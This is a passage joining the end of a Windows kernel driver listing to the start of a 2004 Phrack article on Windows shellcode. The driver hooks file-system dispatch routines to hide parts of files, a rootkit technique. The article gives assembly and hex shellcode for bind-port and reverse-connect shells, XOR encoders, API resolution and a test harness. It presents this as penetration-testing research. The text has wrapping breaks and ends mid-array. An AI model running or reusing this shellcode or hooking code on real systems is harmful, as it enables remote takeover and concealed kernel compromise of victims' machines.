                                IN PDEVICE_OBJECT DeviceObjec
t,
                                IN PIRP Irp)
{
    //_asm int 3;
    PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);

```

```

        if (CISL->FileObject &&
            //Don't mess with swaping
            !(Irp->Flags & IRP_PAGING_IO) && !(Irp->Flags & IRP_SYNCHRONOUS
_PAGING_IO))
        {
            if (ThisIsOurFile(FName))
            {
                //_asm int 3;
                CISL->Parameters.Write.ByteOffset.QuadPart += InvisibleP
artSize;
                //Write and Read has the same structure, thus handled to
gether
            }
        }
        //Call corresponding original handler
        switch (CISL->MajorFunction)
        {
        case IRP_MJ_READ:
            return OldReadDisp(DeviceObject, Irp);
        case IRP_MJ_WRITE:
            return OldWriteDisp(DeviceObject, Irp);
        }
    }

//Function handles IRP_MJ_QUERY_INFORMATION
NTSTATUS NewQueryDisp (
                                IN PDEVICE_OBJECT DeviceObject,
                                IN PIRP Irp)
{
    //_asm int 3;
    PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
    if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
        ThisIsOurFile(FName))
    {
        //_asm int 3;
        switch (CISL->Parameters.QueryFile.FileInformationClass)
        {
            //Information types that contains file size or current o
ffset
            case FilePositionInformation:
            case FileEndOfFileInformation:
            case FileStandardInformation:
            case FileAllocationInformation:
            case FileAllInformation:
                //_asm int 3;
                HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewCompl
Rtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformation
Class);
            }
        }
        //Call original handler
        return OldQueryDisp(DeviceObject, Irp);
    }

//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
                                IN PDEVICE_OBJECT DeviceObject,
                                IN PIRP Irp)
{
    //_asm int 3;
    PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
    if (CISL->FileObject && ThisIsOurFile(FName))
    {

```

```

        // _asm int 3;
        switch (CISL->Parameters.QueryFile.FileInformationClass)
        {
            // Information types that contains file size or current offset.
            // In all cases modify CurrentByteOffset and/or size (EndOfFile)
            // to hide first InvisiblePartSize bytes
            case FilePositionInformation:
                ((PFILE_POSITION_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize;
                break;
            case FileEndOfFileInformation:
                ((PFILE_END_OF_FILE_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                break;
            case FileStandardInformation:
                ((PFILE_STANDARD_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                break;
            case FileAllocationInformation:
                // _asm int 3;
                ((PFILE_ALLOCATION_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize;
                break;
            case FileAllInformation:
                ((PFILE_ALL_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
                ((PFILE_ALL_INFORMATION) Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize;
                break;
        }
    }
    // Call original handler
    return OldSetInfoDisp(DeviceObject, Irp);
}

// Function handles IRP_MJ_DIRECTORY_CONTROL
NTSTATUS NewDirCtlDisp (
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp)
{
    void *pBuffer;
    PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
    // _asm int 3;
    if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
        (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
    {
        // Handle both ways of passing user supplied buffer
        if (Irp->MdlAddress)
            pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
        else
            pBuffer = Irp->UserBuffer;
        HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE) NewComplRtn, pBuffer, ((PQUERY_DIRECTORY) (&CISL->Parameters))->FileInformationClass);
    }
    // Call original handler
    return OldDirCtlDisp(DeviceObject, Irp);
}

#undef FName

// Function handles FastIoRead

```

```

BOOLEAN NewFastIoRead(
    IN PFILE_OBJECT FileObject,
    IN PLARGE_INTEGER FileOffset,
    IN ULONG Length,
    IN BOOLEAN Wait,
    IN ULONG LockKey,
    OUT PVOID Buffer,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
)
{
    LARGE_INTEGER NewFileOffset;
    //_asm int 3;
    if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
    {
        //_asm int 3;
        //Modify FileOffset to hide first InvisiblePartSize bytes
        NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
e;
        return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                                IoStatus, DeviceObject);
    }
    //Call original handler
    return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                            IoStatus, DeviceObject);
}

//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
    IN PFILE_OBJECT FileObject,
    IN PLARGE_INTEGER FileOffset,
    IN ULONG Length,
    IN BOOLEAN Wait,
    IN ULONG LockKey,
    OUT PVOID Buffer,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
)
{
    LARGE_INTEGER NewFileOffset;
    //_asm int 3;
    if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
    {
        //_asm int 3;
        //Modify FileOffset to hide first InvisiblePartSize bytes
        NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
e;
        return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                                IoStatus, DeviceObject);
    }
    return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                            IoStatus, DeviceObject);
}

//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
    IN struct _FILE_
    OBJECT *FileObject,
    IN BOOLEAN Wait,

```

```

RD_INFORMATION Buffer,
LOCK IoStatus,
E_OBJECT *DeviceObject
                                OUT PFILE_STANDA
                                OUT PIO_STATUS_B
                                IN struct _DEVIC
                                )
{
    //Call original handler
    BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer
, IoStatus, DeviceObject);
    if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
    {
        //_asm int 3;
        //Modify EndOfFile to hide first InvisiblePartSize bytes
        Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
    }
    return status;
}

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
                                IN PUNICODE_STRING ObjectPath,
                                IN ULONG Attributes,
                                IN PACCESS_STATE PassedAccessSta
                                IN ACCESS_MASK DesiredAccess OPT
                                IN POBJECT_TYPE ObjectType,
                                IN KPROCESSOR_MODE AccessMode,
                                IN OUT PVOID ParseContext OPTION
                                OUT PVOID *ObjectPtr
                                );

extern "C" PVOID IoDriverObjectType;

//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(CHAR MajorFunction,
                                PDRIVER_OBJECT pDriverObject,
                                OPTIONAL PDRIVER_DISPATCH *OldFunctionio
                                OPTIONAL PDRIVER_DISPATCH NewFunction
                                nPtr,
                                Ptr)
{
    PDRIVER_DISPATCH *TargetFn;

    TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
    //hook only if handler exists
    if (*TargetFn)
    {
        if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
        if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
    }
}

//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
{
    UNICODE_STRING DeviceName;

```

```

NTSTATUS status;
KIRQL OldIrql;

_asm int 3;

pDriverObject = NULL;
RtlInitUnicodeString(&DeviceName, pwszDeviceName);
status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL
, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject)
;
if (pDriverObject)
{
    //Raise IRQL to avoid context switch
    //when some pointer is semi-modified
    KeRaiseIrql(HIGH_LEVEL, &OldIrql);
    //hook dispatch functions
    InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewR
eadWriteDisp);
    InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, Ne
wReadWriteDisp);
    InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQ
ueryDisp, NewQueryDisp);
    InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSet
InfoDisp, NewSetInfoDisp);
    InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldD
irCtlDisp, NewDirCtlDisp);
    //hook FastIo dispatch functions if FastIo table exists
    if (pDriverObject->FastIoDispatch)
    {
        //ià çàùèòó ìàìÿòè ÿäðà â w2k [rus]
        //It would be better to copy FastIo table to avoid
        //messing with kernel memory protection, but it works as
        it is
        OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastI
oRead;
        pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRea
d;
        OldFastIoWriteDisp = pDriverObject->FastIoDispatch->Fast
IoWrite;
        pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWr
ite;
        OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDi
spatch->FastIoQueryStandardInfo;
        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo =
        NewFastIoQueryStandartInfo;
    }
    KeLowerIrql(OldIrql);
}

return status;
}

//Function cancels hooking
VOID UnIntercept()
{
    KIRQL OldIrql;
    if (pDriverObject)
    {
        KeRaiseIrql(HIGH_LEVEL, &OldIrql);
        InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp)
;
        InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDis
p);
    }
}

```

```

OldQueryDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL,
ldSetInfoDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, O
OldDirCtlDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL,
if (pDriverObject->FastIoDispatch)
{
    pDriverObject->FastIoDispatch->FastIoRead = OldFastIoRea
dDisp;
    pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWr
iteDisp;
    pDriverObject->FastIoDispatch->FastIoQueryStandardInfo =
OldFastIoQueryStandartInfoDisp;
}
KeLowerIrql(OldIrql);
ObDereferenceObject(pDriverObject);
}
}

```

|=[EOF]=====|

==Phrack Inc.==

Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10

|===== [History and Advances in Windows Shellcode]=====|
|=====|
|===== [sk <sk at scan-associates dot net>]=====|
|===== [June 22nd, 2004]=====|

-- [Contents

1. Abstract
2. Introduction to shellcode
 - a. Why shellcode?
 - b. Windows shellcode skeleton
 - i. Getting EIP
 - ii. Decoder
 - iii. Getting address of required function
 - iv. Locating Kernel32 base memory
 - v. Getting GetProcAddress()
 - vi. Getting other functions by name
 - vii. Spawning a shell
 - c. Compiling our shellcode
3. The connection
 - a. Bind to port shellcode
 - i. Bind to port shellcode implementation
 - ii. Problem with Bind to port shellcode
 - b. Reverse connect
 - i. Reverse connect shellcode implementation
 - ii. Problem with reverse connect shellcode
4. One-way shellcode
 - a. Find socket shellcode
 - i. Problem with find socket shellcode
 - b. Reuse address shellcode
 - i. Reuse address shellcode implementation
 - ii. Problem with reuse address shellcode
 - c. Rebind socket
 - i. Rebind socket shellcode implementation
 - d. Other one-way shellcode

5. Transferring file using shellcode
 - a. Uploading file with debug.exe
 - b. Uploading file with VBS
 - c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code

--[1. Abstract

Firewall is everywhere in the Internet now. Most of the exploits released in the public have little concern over firewall rules because they are just proof of concept. In real world, we would encounter targets with firewall that will make exploitation harder. We need to overcome these obstacles for a successful penetration testing job. The research of this paper started when we need to take over (own) a machine which is heavily protected with rigid firewall rules. Although we can reach the vulnerable service but the strong firewall rules between us and the server hinder all standard exploits useless.

The objective of the research is to find alternative ways which allow penetration tester to take control of a machine after a successful buffer overflow. A successful buffer overflow in a sense that it will eventually leads to arbitrary code execution. These alternative mechanisms should succeed where others fail even in the most rigid firewall rules.

In our research to find a way to by pass these troublesome firewall rules, we looked into various existing techniques used by exploits in the public and why they fail. Then, we found several mechanisms that will work, but dependence to the vulnerable service. Although we can take over the server using these techniques, we take one step further to develop a more generic technique which is not dependence to any service and can be reuse in most other buffer overflows.

This paper will start with dissection on a standard Win32 shellcode as an introduction. We will then explore the techniques being used by proof of concept codes to allow attacker to control the target and their limitations. Then, we will introduce a few alternatives techniques which we call "One-way shellcode" and how they may by pass firewall rules. Finally, we also discussed on a possible way to transfer file from command line without breaking the firewall rule.

--[2. Introduction to shellcode

An exploit usually consists of two major components:

1. Exploitation technique
2. Payload

The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that via one of these techniques:

- * Stack-based Buffer Overflow
- * Heap-based Buffer Overflow
- * Format String
- * Integer Overflow

* Memory corruption, etc

Even though we may use one or more of those exploitation techniques to control the execution path of a program, each vulnerability need to be exploited differently. Every vulnerability has different way to trigger the bug. We may use different buffer size or character set to trigger the overflow. Although we can probably use the same technique for vulnerabilities in the same class, we cannot use the same code.

Once we control of the execution path, we probably want it to execute our code. Thus, we need to include these code or instruction set in our exploit. The part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the permission of the vulnerable service.

A payload that spawns you a shell is known as a shellcode. It allows interactive command execution. Unlike Exploitation technique, a well designed shellcode can easily be reused in other exploits. We will try to build shellcode that can be reused. A basic requirement of a shellcode is the shell and a connection that allow use to use it interactively.

--[2.a Why shellcode?

Why shellcode? Simply because it is the simplest way that allows the attacker to explore the target system interactively. It might give the attacker the ability to discover internal network, to further penetrate into other computers. A simple "net view /domain" command in Windows box would review many other easy targets.

A shell may also allow upload/download file/database, which is usually needed as proof of successful pen-test. You also may easily install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, etc. An Enterprise Worm could be a computer worm which was written specifically to infect other machine in the same domain using the credential of the primary domain controller.

A shell is also useful to restart the vulnerable services. This will keep the service running and your client happy. But more importantly, restarting the vulnerable service usually allow us to attack the service again. We also may clean up traces like log files and events with a shell. There are just many other possibilities.

However, spawning a shell is not the only thing you can do in your payload. As demonstrated by LSD in their Win32 ASM component, you can create a payload that loop and wait for command from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn a shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker.

Regardless whether a payload is spawning a shell or loop to wait for instructions, it still needs to communicate with the attacker. Although we are using payload that spawns a shell throughout this article, the mechanisms being use for communication can be use in other payload strategy.

--[2.b Windows shellcode skeleton

Shellcode usually start by getting to know where you are during the execution by grapping the EIP value. And then, a decoding process

will take place. The process will then jump into the decoded memory area where execution can continue. Before we can do anything useful, we need to find addresses of all functions and API that we need to use in the shellcode. With that, we can setup a socket, and finally spawn a shell.

- * Getting EIP
- * Decoder
- * Getting addresses of required functions
- * Setup socket
- * Spawning shell

Let's look into what these components suppose to do, in greater detail.

--[2.b.i Getting EIP

We would like to make our shellcode as reusable as possible. For that, we will avoid using any fixed address which could change in different environment. We will use relative addressing as much as we could. To start with, we need to know where we are in the memory. This address will be our base address. Any variable or function in the shellcode will be relative to this address. To get this address, we can use a CALL and a POP instruction. As we already know, whenever we are calling a function, the return value is push into the stack just before the function is called. So, if the first thing we do in the function is a POP command, we will obtain the return value in a register. As shown below, EAX will be 451005.

```
450000:                label1: pop eax
450005:                ... (eax = 451005)

451000:                call label1                ;start here!
451005:
```

Most likely you will find something similar to the code below in a shellcode, which does about the same thing.

```
450000:                jmp label1
450002:                label2:    jmp cont
450004:                label1:    call label2
450009:                cont:      pop eax
                        ...    (eax = 450009)
```

Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fstenv/fstenv instructions to save the state of the FPU environment.

```
    fldz
    fstenv [esp-12]
    pop ecx
    add cl, 10
    nop
```

ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.

--[2.b.ii Decoder

Buffer overflow usually will not allow NULL and a few special characters. We can avoid using these characters by encoding our shellcode. The easiest encoding scheme is the XOR encoding. In this encoding, we will XOR each char in our shellcode with a predefined value. During execution, a decoder will translate the rest of the code back to real instruction by XOR it again with the predefined value. As shown here, we can set the number of byte we want to decode in ecx, and while eax is pointing to the starting point of our encoded shellcode. We xor the destination byte by byte with 0x96 until the loop over. There are other more advance encoding schemes, of cause. We can use a DWORD xor value instead of a char to encode 4 bytes at a time. We also may break the code apart by encoding them using a different xor key. All with the purpose to get rid of unusable chars in our shellcode.

```
        xor     ecx, ecx
        mov     cl, 0C6h                ;size
loop1:  inc     eax
        xor     byte ptr [eax], 96h
        loop    loop1
```

The Metasploit project (<http://metasploit.com/>) contains a few very useful encoders worth checking.

--[2.b.iii Getting address of required function

After the decoding process, we will jump into the memory area where the decoded shellcode start to continue our execution. Before we can do anything useful, we must locate the address of all APIs that we need to use and store it in a jump table. We are not going to use any fixed address to API because it is different between service packs. To get the address of API we need, we can use an API called `GetProcAddress()`. By supplying the name of the function we need to this API, it will return the address where we can call to use it. To obtain the address of `GetProcAddress()` itself, we can search the export table of the `Kernel32.dll` in the memory. `Kernel32.dll` image is located predefined in a memory location depending on the OS.

```
*      NT - 0x77f00000
*      2kSP2 & SP3 - 0x77e80000
*      WinXP - 0x77e60000
```

Since we know the default base memory of `kernel32.dll` is located at these locations, we can start looping backward from `0x77f00000` to look for "MZ\x90" byte sequences. `Kernel32` start with "MZ\x90" mark just like any Windows application. This trick was used by High Speed Junky (HSJ) in his exploit and it works quite nicely for all the above OS and service pack. However Windows 2000 SP4's `Kernel32.dll` is located at `0x7c570000`. In order to scan the memory from `0x77f00000`, we need to setup an exception handler that will catch invalid memory access.

--[2.b.iv Locating Kernel32 base memory

However, there is a better method to get the `kernel32` base memory. Using the fs selector, we can get into our PEB. By searching the

PEB_LDR_DATA structure, we will find the list of DLL which our vulnerable program initialized when it start. The list of DLL will be loaded in sequence, first, NTDLL, followed by Kernel32. So, by traveling one node forward in the list, we will get the base memory of the Kernel32.dll. This technique, complete with the code, has been published by researchers in VX-zine, then used by LSD in their Windows Assembly component.

```

mov    eax,fs:[30h]           ; PEB base
mov    eax,[eax+0ch]          ; goto PEB_LDR_DATA
; first entry in InInitializationOrderModuleList
mov    esi,[eax+1ch]
lodsd                                ; forward to next LIST_ENTRY
mov    ebx,[eax+08h]          ; Kernel32 base memory

```

--[2.b.v Getting GetProcAddress()

Once we know the base address of Kernel32.dll, we can locate its Export Table and look for "GetProcAddress" string. We also can get the total of exported functions. Using the number, we loop until we find the string.

```

mov    esi,dword ptr [ebx+3Ch]    ;to PE Header
add    esi,ebx
mov    esi,dword ptr [esi+78h]    ;to export table
add    esi,ebx
mov    edi,dword ptr [esi+20h]    ;to export name table
add    edi,ebx
mov    ecx,dword ptr [esi+14h]    ;number of exported function
push   esi
xor    eax,eax                    ;our counter

```

For each address in the jump table, we will check if the destination name is match with "GetProcAddress". If not, we increase EAX by one and continue searching. Once we found a match, EAX will be holding our counter. Using the following formula, we can obtain the real address of GetProcAddress().

$$\text{ProcAddr} = (((\text{counter} * 2) + \text{Ordinal}) * 4) + \text{AddrTable} + \text{Kernel32Base}$$

We count until we reach "GetProcAddress". Multiply the index by 2, add it to the address of exported ordinals table. It should now point to the ordinal of GetProcAddress(). Take the value, multiply it by 4. Total it up with the address of the address of the table and Kernel32 base address, we will get the real address of the GetProcAddress(). We can use the same technique to get the address of any exported function inside Kernel32.

--[2.b.vi Getting other functions by name

Once we get the address of GetProcAddress(), we can easily obtain address of any other API. Since there are quite a number of APIs that we need to use, we (actually, most of these codes were dissass from HSJ's exploit) build a function that take a function name and return the address. To use the function, set ESI pointing to the name of the API we want to load. It must be NULL terminated. Set EDI point to the jump table. A jump table is just a location where we store all addresses of API we need to call. Set ECX to number of API we want it to resolve.

In this example, we call to load 3 APIs:

```

mov     edi,esi                ;EDI is the output, our jump table
xor     ecx,ecx
mov     cl,3                   ;Load 3 APIs
call    loadaddr

```

The "loadaddr" function that get the job done:

```

loadaddr:
mov     al,byte ptr [esi]
inc     esi
test    al,al
jne     loadaddr              ;loop till we found a NULL
push    ecx
push    edx
push    esi
push    ebx
call    edx                   ;GetProcAddress(DLL, API_Name);
pop     edx
pop     ecx
stosd                   ;write the output to EDI
loop    loadaddr             ;loop to get other APIs
ret

```

--[2.b.vii Spawning a shell

Once we have gone thru those troublesome API address loading, we can finally do something useful. To spawn a shell in Windows, we need to call the CreateProcess() API. To use this API, we need to set up the STARTUPINFO in such a way that, the input, output and error handler will be redirected to a socket. We also will set the structure so that the process will have no window. With the structure setup, we just need to call CreateProcess to launch "cmd.exe" to get an interactive command shell in windows.

```

;ecx is 0
mov     byte ptr [ebp],44h                ;STARTUPINFO size
mov     dword ptr [ebp+3Ch],ebx           ;output handler
mov     dword ptr [ebp+38h],ebx           ;input handler
mov     dword ptr [ebp+40h],ebx           ;error handler
;STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov     word ptr [ebp+2Ch],0101h
lea     eax,[ebp+44h]
push    eax
push    ebp
push    ecx
push    ecx
push    ecx
inc     ecx
push    ecx
dec     ecx
push    ecx
push    ecx
push    esi
push    ecx
call    dword ptr [edi-28] ;CreateProcess

```

--[2.c Compiling our shellcode

The Code section in the end of the paper contains source code bind.asm. bind.asm is a complete shellcode written in Assembly

Language which will create a shell in Windows and bind it to a specific port. Compile bind.asm:

```
# tasm -l bind.asm
```

It will produce 2 files:

1. bind.obj - the object code
2. bind.lst - assembly listing

If we open bind.obj with a hex editor, we will see that the object code start with something similar to this:

```
01)      80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00      ....bind.asmb. .
02)      00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C      ...Turbo Assembl
03)      65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99      er Version 4.1.
04)      88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61      ...@.I../.bind.a
05)      73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03      sm/...@.L....h..
06)      00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F      .@....._TEXT.CO
07)      44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00      DE.....
08)      05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9      ._DATA.DATA.....
09)      00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A      .....FLAT9.
10)      02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A      ...^....DGROUP..
11)      04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01      .....Z...@.....
12)      01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B      .....X...
13)      ...
14)      5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00      ZY.....
15)      9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06      .m...|&.....t...
```

Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of the partial hex dump above. It will end with 0xC3 as shown in line 14. We need to use a hex editor to remove the first 176 bytes and the last 26 bytes. (You don't need to do this if you are using NASM compiler, but the author has been using TASM since his MS-DOS age).

Now that we have the shellcode in its pure binary form, we just need to build a simple program that read from this file and produce the corresponding hex value in a C string. Refer to the Code section (xor.cpp) for the code that will do that. The output of the program is our shellcode in C string syntax:

```
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
```

--[3 The connection

We have seen some of the basic building block of a shellcode. But we have not cover the connection part of the shellcode. As mentioned, a shellcode needs a shell and a connection to allow interactive command. We want to be able to send any command and see the output. Regardless if we are spawning a shell, transferring file or loop to wait for further command, we need to setup a connection. There are three published techniques: Bind to port, Reverse connect and Find socket shellcode. We will look into each one of these, as well as their limitation. Along the way, various exploits that uses these shellcode will be demonstrated to get a better understanding.

--[3.a Bind to port shellcode

Bind to port shellcode is popular being used in proof of concept exploit. The shellcode setup a socket, bind it to a specific port and listen for connection. Upon accepting a connection, you spawn a shell.

This following APIs are needed for this type of connection:

```
*      WSASocket()
*      bind()
*      listen()
*      accept()
```

It is important to note that we are using WSASocket() and not socket() to create a socket. Using WSASocket will create a socket that will not have an overlapped attribute. Such socket can be use directly as a input/output/error stream in CreateProcess() API. This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode. The size of the shellcode shrinks quite a bit using this technique. It was first introduced by David Litchfield. You can find many of Bind too port shellcode in Packetstorm Security by debugging shellcode of these exploits:

```
*      slxploit.c
*      aspcode.c
*      aspx_brute.c
```

--[3.a.1 Bind to port shellcode implementation

```
mov     ebx,eax
mov     word ptr [ebp],2
mov     word ptr [ebp+2],5000h           ;port
mov     dword ptr [ebp+4], 0           ;IP
push    10h
push    ebp
push    ebx
call    dword ptr [edi-12]             ;bind
inc     eax
push    eax
push    ebx
call    dword ptr [edi-8]             ;listen (soc, 1)
push    eax
push    eax
push    ebx
call    dword ptr [edi-4]             ;accept
```

Compiling bind.asm will create shellcode (435 bytes) that will work with any service pack. We will test the bind to port shellcode using a simple testing program - testskode.cpp. Copy the shellcode (in C string) generated the xor program and parse it into testskode.cpp:

```
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;

void *ma = malloc(10000);
memcpy(ma,shellcode,sizeof(shellcode));

__asm
{
    mov     eax,ma
```



```

                int 3
                jmp   eax
    }
    free(ma);

```

Compile and running testskode.cpp will result in a break point just before we jump to the shellcode. If we let the process continue, it will bind to port 1212 and ready to accept connection. Using netcat, we can connect to port 1212 to get a shell.

--[3.a.2 Problem with bind to port shellcode

Using proof of concept exploit with bind to port shellcode against server in organization with firewall usually will not work. Even though we successfully exploited the vulnerability and our shellcode executed, we will have difficulties connecting to the bind port. Usually, firewall will allow connection to popular services like port 25, 53, 80, etc. But usually these ports are already in used by other applications. Sometimes the firewall rules just did not open these ports. We have to assume that the firewall block every port, expect for the port number of the vulnerable service.

--[3.b Reverse connect shellcode

To overcome the limitation of bind to port shellcode, many exploits prefer to use reverse connection shellcode. Instead of binding to a port waiting for connection, the shellcode simply connect to a predefined IP and port number to drop it a shell.

We must include our IP and port number which the target must connect to give a shell in the shellcode. We also must run netcat or anything similar in advance, ready to accept connection. Of cause, we must be using IP address which the victim machine is reachable. Thus, usually we use public IP.

The following APIs are needed to setup this type of connection:

```

*      WSASocket()
*      connect()

```

You can find many of these examples in Packetstorm Security by debugging shellcode of these exploits:

```

*      jill.c
*      iis5asp_exp.c
*      sqludp.c
*      iis5htr_exp.c

```

--[3.b.1 Reverse connect shellcode implementation

```

push    eax
push    eax
push    eax
push    eax
inc     eax
push    eax
inc     eax
push    eax
call    dword ptr [edi-8]      ;WSASocketA
mov     ebx,eax

```

```

mov     word ptr [ebp],2
mov     word ptr [ebp+2],5000h ;port in network byte order
mov     dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push    10h
push    ebp
push    ebx
call    dword ptr [edi-4] ;connect

```

Compiling reverse.asm will create shellcode (384 bytes) that will work with any service pack. We will use this shellcode in our JRun/ColdFusion exploit. However there is still one problem. This exploit will not accept NULL character. We need to encode our shellcode with an XOR shield. We can use the xor.cpp to encode our shellcode using its third parameter.

First, let's compile reverse.asm:

```
# \tasm\bin\tasm -l reverse.asm
```

Then, hex-edit reverse.obj to get our shellcode. Refer to bind to port shellcode on how to do it. Now, use xor.cpp to print the shellcode:

```

# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...

```

The first 36 bytes of the shellcode is our decoder. It has been carefully crafted to avoid NULL. We keep this part of the shellcode. Then, we run xor.cpp again with an extra parameter to xor the code with 0x96.

```

# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

```

We take bytes sequence from the 37th bytes onwards. Combine the encoder and the xored shellcode, we will get the actual shellcode that we can use in our exploit.

```

BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
